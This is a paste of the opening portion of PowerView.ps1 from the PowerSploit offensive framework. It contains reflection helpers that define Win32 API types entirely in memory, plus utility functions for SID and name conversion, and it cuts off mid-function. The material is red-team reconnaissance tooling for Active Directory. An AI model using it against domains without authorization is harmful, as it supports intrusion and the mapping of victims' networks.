· 5 years ago · Feb 04, 2020, 12:48 AM
1#requires -version 2
2
3<#
4 PowerSploit File: PowerView.ps1
5 Author: Will Schroeder (@harmj0y)
6 License: BSD 3-Clause
7 Required Dependencies: None
8 Optional Dependencies: None
9#>
10
11########################################################
12#
13# PSReflect code for Windows API access
14# Author: @mattifestation
15# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
16#
17########################################################
18
19function New-InMemoryModule
20{
21<#
22 .SYNOPSIS
23 Creates an in-memory assembly and module
24 Author: Matthew Graeber (@mattifestation)
25 License: BSD 3-Clause
26 Required Dependencies: None
27 Optional Dependencies: None
28 .DESCRIPTION
29 When defining custom enums, structs, and unmanaged functions, it is
30 necessary to associate to an assembly module. This helper function
31 creates an in-memory module that can be passed to the 'enum',
32 'struct', and Add-Win32Type functions.
33 .PARAMETER ModuleName
34 Specifies the desired name for the in-memory assembly and module. If
35 ModuleName is not provided, it will default to a GUID.
36 .EXAMPLE
37 $Module = New-InMemoryModule -ModuleName Win32
38#>
39
40 Param
41 (
42 [Parameter(Position = 0)]
43 [ValidateNotNullOrEmpty()]
44 [String]
45 $ModuleName = [Guid]::NewGuid().ToString()
46 )
47
48 $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
49
50 ForEach ($Assembly in $LoadedAssemblies) {
51 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
52 return $Assembly
53 }
54 }
55
56 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
57 $Domain = [AppDomain]::CurrentDomain
58 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
59 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
60
61 return $ModuleBuilder
62}
63
64
65# A helper function used to reduce typing while defining function
66# prototypes for Add-Win32Type.
67function func
68{
69 Param
70 (
71 [Parameter(Position = 0, Mandatory = $True)]
72 [String]
73 $DllName,
74
75 [Parameter(Position = 1, Mandatory = $True)]
76 [String]
77 $FunctionName,
78
79 [Parameter(Position = 2, Mandatory = $True)]
80 [Type]
81 $ReturnType,
82
83 [Parameter(Position = 3)]
84 [Type[]]
85 $ParameterTypes,
86
87 [Parameter(Position = 4)]
88 [Runtime.InteropServices.CallingConvention]
89 $NativeCallingConvention,
90
91 [Parameter(Position = 5)]
92 [Runtime.InteropServices.CharSet]
93 $Charset,
94
95 [Switch]
96 $SetLastError
97 )
98
99 $Properties = @{
100 DllName = $DllName
101 FunctionName = $FunctionName
102 ReturnType = $ReturnType
103 }
104
105 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
106 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
107 if ($Charset) { $Properties['Charset'] = $Charset }
108 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
109
110 New-Object PSObject -Property $Properties
111}
112
113
114function Add-Win32Type
115{
116<#
117 .SYNOPSIS
118 Creates a .NET type for an unmanaged Win32 function.
119 Author: Matthew Graeber (@mattifestation)
120 License: BSD 3-Clause
121 Required Dependencies: None
122 Optional Dependencies: func
123 .DESCRIPTION
124 Add-Win32Type enables you to easily interact with unmanaged (i.e.
125 Win32 unmanaged) functions in PowerShell. After providing
126 Add-Win32Type with a function signature, a .NET type is created
127 using reflection (i.e. csc.exe is never called like with Add-Type).
128 The 'func' helper function can be used to reduce typing when defining
129 multiple function definitions.
130 .PARAMETER DllName
131 The name of the DLL.
132 .PARAMETER FunctionName
133 The name of the target function.
134 .PARAMETER ReturnType
135 The return type of the function.
136 .PARAMETER ParameterTypes
137 The function parameters.
138 .PARAMETER NativeCallingConvention
139 Specifies the native calling convention of the function. Defaults to
140 stdcall.
141 .PARAMETER Charset
142 If you need to explicitly call an 'A' or 'W' Win32 function, you can
143 specify the character set.
144 .PARAMETER SetLastError
145 Indicates whether the callee calls the SetLastError Win32 API
146 function before returning from the attributed method.
147 .PARAMETER Module
148 The in-memory module that will host the functions. Use
149 New-InMemoryModule to define an in-memory module.
150 .PARAMETER Namespace
151 An optional namespace to prepend to the type. Add-Win32Type defaults
152 to a namespace consisting only of the name of the DLL.
153 .EXAMPLE
154 $Mod = New-InMemoryModule -ModuleName Win32
155 $FunctionDefinitions = @(
156 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
157 (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
158 (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
159 )
160 $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
161 $Kernel32 = $Types['kernel32']
162 $Ntdll = $Types['ntdll']
163 $Ntdll::RtlGetCurrentPeb()
164 $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
165 $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
166 .NOTES
167 Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
168 When defining multiple function prototypes, it is ideal to provide
169 Add-Win32Type with an array of function signatures. That way, they
170 are all incorporated into the same in-memory module.
171#>
172
173 [OutputType([Hashtable])]
174 Param(
175 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
176 [String]
177 $DllName,
178
179 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
180 [String]
181 $FunctionName,
182
183 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
184 [Type]
185 $ReturnType,
186
187 [Parameter(ValueFromPipelineByPropertyName = $True)]
188 [Type[]]
189 $ParameterTypes,
190
191 [Parameter(ValueFromPipelineByPropertyName = $True)]
192 [Runtime.InteropServices.CallingConvention]
193 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
194
195 [Parameter(ValueFromPipelineByPropertyName = $True)]
196 [Runtime.InteropServices.CharSet]
197 $Charset = [Runtime.InteropServices.CharSet]::Auto,
198
199 [Parameter(ValueFromPipelineByPropertyName = $True)]
200 [Switch]
201 $SetLastError,
202
203 [Parameter(Mandatory = $True)]
204 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
205 $Module,
206
207 [ValidateNotNull()]
208 [String]
209 $Namespace = ''
210 )
211
212 BEGIN
213 {
214 $TypeHash = @{}
215 }
216
217 PROCESS
218 {
219 if ($Module -is [Reflection.Assembly])
220 {
221 if ($Namespace)
222 {
223 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
224 }
225 else
226 {
227 $TypeHash[$DllName] = $Module.GetType($DllName)
228 }
229 }
230 else
231 {
232 # Define one type for each DLL
233 if (!$TypeHash.ContainsKey($DllName))
234 {
235 if ($Namespace)
236 {
237 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
238 }
239 else
240 {
241 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
242 }
243 }
244
245 $Method = $TypeHash[$DllName].DefineMethod(
246 $FunctionName,
247 'Public,Static,PinvokeImpl',
248 $ReturnType,
249 $ParameterTypes)
250
251 # Make each ByRef parameter an Out parameter
252 $i = 1
253 ForEach($Parameter in $ParameterTypes)
254 {
255 if ($Parameter.IsByRef)
256 {
257 [void] $Method.DefineParameter($i, 'Out', $Null)
258 }
259
260 $i++
261 }
262
263 $DllImport = [Runtime.InteropServices.DllImportAttribute]
264 $SetLastErrorField = $DllImport.GetField('SetLastError')
265 $CallingConventionField = $DllImport.GetField('CallingConvention')
266 $CharsetField = $DllImport.GetField('CharSet')
267 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
268
269 # Equivalent to C# version of [DllImport(DllName)]
270 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
271 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
272 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
273 [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
274 [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
275
276 $Method.SetCustomAttribute($DllImportAttribute)
277 }
278 }
279
280 END
281 {
282 if ($Module -is [Reflection.Assembly])
283 {
284 return $TypeHash
285 }
286
287 $ReturnTypes = @{}
288
289 ForEach ($Key in $TypeHash.Keys)
290 {
291 $Type = $TypeHash[$Key].CreateType()
292
293 $ReturnTypes[$Key] = $Type
294 }
295
296 return $ReturnTypes
297 }
298}
299
300
301function psenum
302{
303<#
304 .SYNOPSIS
305 Creates an in-memory enumeration for use in your PowerShell session.
306 Author: Matthew Graeber (@mattifestation)
307 License: BSD 3-Clause
308 Required Dependencies: None
309 Optional Dependencies: None
310
311 .DESCRIPTION
312 The 'psenum' function facilitates the creation of enums entirely in
313 memory using as close to a "C style" as PowerShell will allow.
314 .PARAMETER Module
315 The in-memory module that will host the enum. Use
316 New-InMemoryModule to define an in-memory module.
317 .PARAMETER FullName
318 The fully-qualified name of the enum.
319 .PARAMETER Type
320 The type of each enum element.
321 .PARAMETER EnumElements
322 A hashtable of enum elements.
323 .PARAMETER Bitfield
324 Specifies that the enum should be treated as a bitfield.
325 .EXAMPLE
326 $Mod = New-InMemoryModule -ModuleName Win32
327 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
328 UNKNOWN = 0
329 NATIVE = 1 # Image doesn't require a subsystem.
330 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
331 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
332 OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
333 POSIX_CUI = 7 # Image runs in the Posix character subsystem.
334 NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
335 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
336 EFI_APPLICATION = 10
337 EFI_BOOT_SERVICE_DRIVER = 11
338 EFI_RUNTIME_DRIVER = 12
339 EFI_ROM = 13
340 XBOX = 14
341 WINDOWS_BOOT_APPLICATION = 16
342 }
343 .NOTES
344 PowerShell purists may disagree with the naming of this function but
345 again, this was developed in such a way so as to emulate a "C style"
346 definition as closely as possible. Sorry, I'm not going to name it
347 New-Enum. :P
348#>
349
350 [OutputType([Type])]
351 Param
352 (
353 [Parameter(Position = 0, Mandatory = $True)]
354 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
355 $Module,
356
357 [Parameter(Position = 1, Mandatory = $True)]
358 [ValidateNotNullOrEmpty()]
359 [String]
360 $FullName,
361
362 [Parameter(Position = 2, Mandatory = $True)]
363 [Type]
364 $Type,
365
366 [Parameter(Position = 3, Mandatory = $True)]
367 [ValidateNotNullOrEmpty()]
368 [Hashtable]
369 $EnumElements,
370
371 [Switch]
372 $Bitfield
373 )
374
375 if ($Module -is [Reflection.Assembly])
376 {
377 return ($Module.GetType($FullName))
378 }
379
380 $EnumType = $Type -as [Type]
381
382 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
383
384 if ($Bitfield)
385 {
386 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
387 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
388 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
389 }
390
391 ForEach ($Key in $EnumElements.Keys)
392 {
393 # Apply the specified enum type to each element
394 $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
395 }
396
397 $EnumBuilder.CreateType()
398}
399
400
401# A helper function used to reduce typing while defining struct
402# fields.
403function field
404{
405 Param
406 (
407 [Parameter(Position = 0, Mandatory = $True)]
408 [UInt16]
409 $Position,
410
411 [Parameter(Position = 1, Mandatory = $True)]
412 [Type]
413 $Type,
414
415 [Parameter(Position = 2)]
416 [UInt16]
417 $Offset,
418
419 [Object[]]
420 $MarshalAs
421 )
422
423 @{
424 Position = $Position
425 Type = $Type -as [Type]
426 Offset = $Offset
427 MarshalAs = $MarshalAs
428 }
429}
430
431
432function struct
433{
434<#
435 .SYNOPSIS
436 Creates an in-memory struct for use in your PowerShell session.
437 Author: Matthew Graeber (@mattifestation)
438 License: BSD 3-Clause
439 Required Dependencies: None
440 Optional Dependencies: field
441 .DESCRIPTION
442 The 'struct' function facilitates the creation of structs entirely in
443 memory using as close to a "C style" as PowerShell will allow. Struct
444 fields are specified using a hashtable where each field of the struct
445 is comprosed of the order in which it should be defined, its .NET
446 type, and optionally, its offset and special marshaling attributes.
447 One of the features of 'struct' is that after your struct is defined,
448 it will come with a built-in GetSize method as well as an explicit
449 converter so that you can easily cast an IntPtr to the struct without
450 relying upon calling SizeOf and/or PtrToStructure in the Marshal
451 class.
452 .PARAMETER Module
453 The in-memory module that will host the struct. Use
454 New-InMemoryModule to define an in-memory module.
455 .PARAMETER FullName
456 The fully-qualified name of the struct.
457 .PARAMETER StructFields
458 A hashtable of fields. Use the 'field' helper function to ease
459 defining each field.
460 .PARAMETER PackingSize
461 Specifies the memory alignment of fields.
462 .PARAMETER ExplicitLayout
463 Indicates that an explicit offset for each field will be specified.
464 .EXAMPLE
465 $Mod = New-InMemoryModule -ModuleName Win32
466 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
467 DOS_SIGNATURE = 0x5A4D
468 OS2_SIGNATURE = 0x454E
469 OS2_SIGNATURE_LE = 0x454C
470 VXD_SIGNATURE = 0x454C
471 }
472 $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
473 e_magic = field 0 $ImageDosSignature
474 e_cblp = field 1 UInt16
475 e_cp = field 2 UInt16
476 e_crlc = field 3 UInt16
477 e_cparhdr = field 4 UInt16
478 e_minalloc = field 5 UInt16
479 e_maxalloc = field 6 UInt16
480 e_ss = field 7 UInt16
481 e_sp = field 8 UInt16
482 e_csum = field 9 UInt16
483 e_ip = field 10 UInt16
484 e_cs = field 11 UInt16
485 e_lfarlc = field 12 UInt16
486 e_ovno = field 13 UInt16
487 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
488 e_oemid = field 15 UInt16
489 e_oeminfo = field 16 UInt16
490 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
491 e_lfanew = field 18 Int32
492 }
493 # Example of using an explicit layout in order to create a union.
494 $TestUnion = struct $Mod TestUnion @{
495 field1 = field 0 UInt32 0
496 field2 = field 1 IntPtr 0
497 } -ExplicitLayout
498 .NOTES
499 PowerShell purists may disagree with the naming of this function but
500 again, this was developed in such a way so as to emulate a "C style"
501 definition as closely as possible. Sorry, I'm not going to name it
502 New-Struct. :P
503#>
504
505 [OutputType([Type])]
506 Param
507 (
508 [Parameter(Position = 1, Mandatory = $True)]
509 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
510 $Module,
511
512 [Parameter(Position = 2, Mandatory = $True)]
513 [ValidateNotNullOrEmpty()]
514 [String]
515 $FullName,
516
517 [Parameter(Position = 3, Mandatory = $True)]
518 [ValidateNotNullOrEmpty()]
519 [Hashtable]
520 $StructFields,
521
522 [Reflection.Emit.PackingSize]
523 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
524
525 [Switch]
526 $ExplicitLayout
527 )
528
529 if ($Module -is [Reflection.Assembly])
530 {
531 return ($Module.GetType($FullName))
532 }
533
534 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
535 Class,
536 Public,
537 Sealed,
538 BeforeFieldInit'
539
540 if ($ExplicitLayout)
541 {
542 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
543 }
544 else
545 {
546 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
547 }
548
549 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
550 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
551 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
552
553 $Fields = New-Object Hashtable[]($StructFields.Count)
554
555 # Sort each field according to the orders specified
556 # Unfortunately, PSv2 doesn't have the luxury of the
557 # hashtable [Ordered] accelerator.
558 ForEach ($Field in $StructFields.Keys)
559 {
560 $Index = $StructFields[$Field]['Position']
561 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
562 }
563
564 ForEach ($Field in $Fields)
565 {
566 $FieldName = $Field['FieldName']
567 $FieldProp = $Field['Properties']
568
569 $Offset = $FieldProp['Offset']
570 $Type = $FieldProp['Type']
571 $MarshalAs = $FieldProp['MarshalAs']
572
573 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
574
575 if ($MarshalAs)
576 {
577 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
578 if ($MarshalAs[1])
579 {
580 $Size = $MarshalAs[1]
581 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
582 $UnmanagedType, $SizeConst, @($Size))
583 }
584 else
585 {
586 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
587 }
588
589 $NewField.SetCustomAttribute($AttribBuilder)
590 }
591
592 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
593 }
594
595 # Make the struct aware of its own size.
596 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
597 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
598 'Public, Static',
599 [Int],
600 [Type[]] @())
601 $ILGenerator = $SizeMethod.GetILGenerator()
602 # Thanks for the help, Jason Shirk!
603 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
604 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
605 [Type].GetMethod('GetTypeFromHandle'))
606 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
607 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
608 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
609
610 # Allow for explicit casting from an IntPtr
611 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
612 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
613 'PrivateScope, Public, Static, HideBySig, SpecialName',
614 $StructBuilder,
615 [Type[]] @([IntPtr]))
616 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
617 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
618 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
619 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
620 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
621 [Type].GetMethod('GetTypeFromHandle'))
622 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
623 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
624 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
625 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
626
627 $StructBuilder.CreateType()
628}
629
630
631########################################################
632#
633# Misc. helpers
634#
635########################################################
636
637filter Get-IniContent {
638<#
639 .SYNOPSIS
640 This helper parses an .ini file into a proper PowerShell object.
641
642 Author: 'The Scripting Guys'
643 Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
644 .LINK
645 https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
646#>
647 [CmdletBinding()]
648 Param(
649 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
650 [Alias('FullName')]
651 [ValidateScript({ Test-Path -Path $_ })]
652 [String[]]
653 $Path
654 )
655
656 ForEach($TargetPath in $Path) {
657 $IniObject = @{}
658 Switch -Regex -File $TargetPath {
659 "^\[(.+)\]" # Section
660 {
661 $Section = $matches[1].Trim()
662 $IniObject[$Section] = @{}
663 $CommentCount = 0
664 }
665 "^(;.*)$" # Comment
666 {
667 $Value = $matches[1].Trim()
668 $CommentCount = $CommentCount + 1
669 $Name = 'Comment' + $CommentCount
670 $IniObject[$Section][$Name] = $Value
671 }
672 "(.+?)\s*=(.*)" # Key
673 {
674 $Name, $Value = $matches[1..2]
675 $Name = $Name.Trim()
676 $Values = $Value.split(',') | ForEach-Object {$_.Trim()}
677 if($Values -isnot [System.Array]) {$Values = @($Values)}
678 $IniObject[$Section][$Name] = $Values
679 }
680 }
681 $IniObject
682 }
683}
684
685filter Export-PowerViewCSV {
686<#
687 .SYNOPSIS
688 This helper exports an -InputObject to a .csv in a thread-safe manner
689 using a mutex. This is so the various multi-threaded functions in
690 PowerView has a thread-safe way to export output to the same file.
691
692 Based partially on Dmitry Sotnikov's Export-CSV code
693 at http://poshcode.org/1590
694 .LINK
695 http://poshcode.org/1590
696 http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
697#>
698 Param(
699 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
700 [System.Management.Automation.PSObject[]]
701 $InputObject,
702
703 [Parameter(Mandatory=$True, Position=0)]
704 [String]
705 [ValidateNotNullOrEmpty()]
706 $OutFile
707 )
708
709 $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation
710
711 # mutex so threaded code doesn't stomp on the output file
712 $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
713 $Null = $Mutex.WaitOne()
714
715 if (Test-Path -Path $OutFile) {
716 # hack to skip the first line of output if the file already exists
717 $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
718 }
719 else {
720 $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
721 }
722
723 $Mutex.ReleaseMutex()
724}
725
726
727filter Get-IPAddress {
728<#
729 .SYNOPSIS
730 Resolves a given hostename to its associated IPv4 address.
731 If no hostname is provided, it defaults to returning
732 the IP address of the localhost.
733 .EXAMPLE
734 PS C:\> Get-IPAddress -ComputerName SERVER
735
736 Return the IPv4 address of 'SERVER'
737 .EXAMPLE
738 PS C:\> Get-Content .\hostnames.txt | Get-IPAddress
739 Get the IP addresses of all hostnames in an input file.
740#>
741
742 [CmdletBinding()]
743 param(
744 [Parameter(Position=0, ValueFromPipeline=$True)]
745 [Alias('HostName')]
746 [String]
747 $ComputerName = $Env:ComputerName
748 )
749
750 try {
751 # extract the computer name from whatever object was passed on the pipeline
752 $Computer = $ComputerName | Get-NameField
753
754 # get the IP resolution of this specified hostname
755 @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
756 if ($_.AddressFamily -eq 'InterNetwork') {
757 $Out = New-Object PSObject
758 $Out | Add-Member Noteproperty 'ComputerName' $Computer
759 $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
760 $Out
761 }
762 }
763 }
764 catch {
765 Write-Verbose -Message 'Could not resolve host to an IP Address.'
766 }
767}
768
769
770filter Convert-NameToSid {
771<#
772 .SYNOPSIS
773 Converts a given user/group name to a security identifier (SID).
774 .PARAMETER ObjectName
775 The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
776 .PARAMETER Domain
777 Specific domain for the given user account, defaults to the current domain.
778 .EXAMPLE
779 PS C:\> Convert-NameToSid 'DEV\dfm'
780#>
781 [CmdletBinding()]
782 param(
783 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
784 [String]
785 [Alias('Name')]
786 $ObjectName,
787
788 [String]
789 $Domain
790 )
791
792 $ObjectName = $ObjectName -Replace "/","\"
793
794 if($ObjectName.Contains("\")) {
795 # if we get a DOMAIN\user format, auto convert it
796 $Domain = $ObjectName.Split("\")[0]
797 $ObjectName = $ObjectName.Split("\")[1]
798 }
799 elseif(-not $Domain) {
800 $Domain = (Get-NetDomain).Name
801 }
802
803 try {
804 $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))
805 $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
806
807 $Out = New-Object PSObject
808 $Out | Add-Member Noteproperty 'ObjectName' $ObjectName
809 $Out | Add-Member Noteproperty 'SID' $SID
810 $Out
811 }
812 catch {
813 Write-Verbose "Invalid object/name: $Domain\$ObjectName"
814 $Null
815 }
816}
817
818
819filter Convert-SidToName {
820<#
821 .SYNOPSIS
822
823 Converts a security identifier (SID) to a group/user name.
824 .PARAMETER SID
825
826 The SID to convert.
827 .EXAMPLE
828 PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105
829#>
830 [CmdletBinding()]
831 param(
832 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
833 [String]
834 [ValidatePattern('^S-1-.*')]
835 $SID
836 )
837
838 try {
839 $SID2 = $SID.trim('*')
840
841 # try to resolve any built-in SIDs first
842 # from https://support.microsoft.com/en-us/kb/243330
843 Switch ($SID2) {
844 'S-1-0' { 'Null Authority' }
845 'S-1-0-0' { 'Nobody' }
846 'S-1-1' { 'World Authority' }
847 'S-1-1-0' { 'Everyone' }
848 'S-1-2' { 'Local Authority' }
849 'S-1-2-0' { 'Local' }
850 'S-1-2-1' { 'Console Logon ' }
851 'S-1-3' { 'Creator Authority' }
852 'S-1-3-0' { 'Creator Owner' }
853 'S-1-3-1' { 'Creator Group' }
854 'S-1-3-2' { 'Creator Owner Server' }
855 'S-1-3-3' { 'Creator Group Server' }
856 'S-1-3-4' { 'Owner Rights' }
857 'S-1-4' { 'Non-unique Authority' }
858 'S-1-5' { 'NT Authority' }
859 'S-1-5-1' { 'Dialup' }
860 'S-1-5-2' { 'Network' }
861 'S-1-5-3' { 'Batch' }
862 'S-1-5-4' { 'Interactive' }
863 'S-1-5-6' { 'Service' }
864 'S-1-5-7' { 'Anonymous' }
865 'S-1-5-8' { 'Proxy' }
866 'S-1-5-9' { 'Enterprise Domain Controllers' }
867 'S-1-5-10' { 'Principal Self' }
868 'S-1-5-11' { 'Authenticated Users' }
869 'S-1-5-12' { 'Restricted Code' }
870 'S-1-5-13' { 'Terminal Server Users' }
871 'S-1-5-14' { 'Remote Interactive Logon' }
872 'S-1-5-15' { 'This Organization ' }
873 'S-1-5-17' { 'This Organization ' }
874 'S-1-5-18' { 'Local System' }
875 'S-1-5-19' { 'NT Authority' }
876 'S-1-5-20' { 'NT Authority' }
877 'S-1-5-80-0' { 'All Services ' }
878 'S-1-5-32-544' { 'BUILTIN\Administrators' }
879 'S-1-5-32-545' { 'BUILTIN\Users' }
880 'S-1-5-32-546' { 'BUILTIN\Guests' }
881 'S-1-5-32-547' { 'BUILTIN\Power Users' }
882 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
883 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
884 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
885 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
886 'S-1-5-32-552' { 'BUILTIN\Replicators' }
887 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
888 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
889 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
890 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
891 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
892 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
893 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
894 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
895 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
896 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
897 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
898 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
899 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
900 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
901 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
902 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
903 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
904 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
905 Default {
906 $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))
907 $Obj.Translate( [System.Security.Principal.NTAccount]).Value
908 }
909 }
910 }
911 catch {
912 Write-Verbose "Invalid SID: $SID"
913 $SID
914 }
915}
916
917
918filter Convert-ADName {
919<#
920 .SYNOPSIS
921 Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com)
922 to canonical format (domain.com/Users/user) or NT4.
923 Based on Bill Stewart's code from this article:
924 http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
925 .PARAMETER ObjectName
926 The user/group name to convert.
927 .PARAMETER InputType
928 The InputType of the user/group name ("NT4","Simple","Canonical").
929 .PARAMETER OutputType
930 The OutputType of the user/group name ("NT4","Simple","Canonical").
931 .EXAMPLE
932 PS C:\> Convert-ADName -ObjectName "dev\dfm"
933
934 Returns "dev.testlab.local/Users/Dave"
935 .EXAMPLE
936 PS C:\> Convert-SidToName "S-..." | Convert-ADName
937
938 Returns the canonical name for the resolved SID.
939 .LINK
940 http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
941#>
942 [CmdletBinding()]
943 param(
944 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
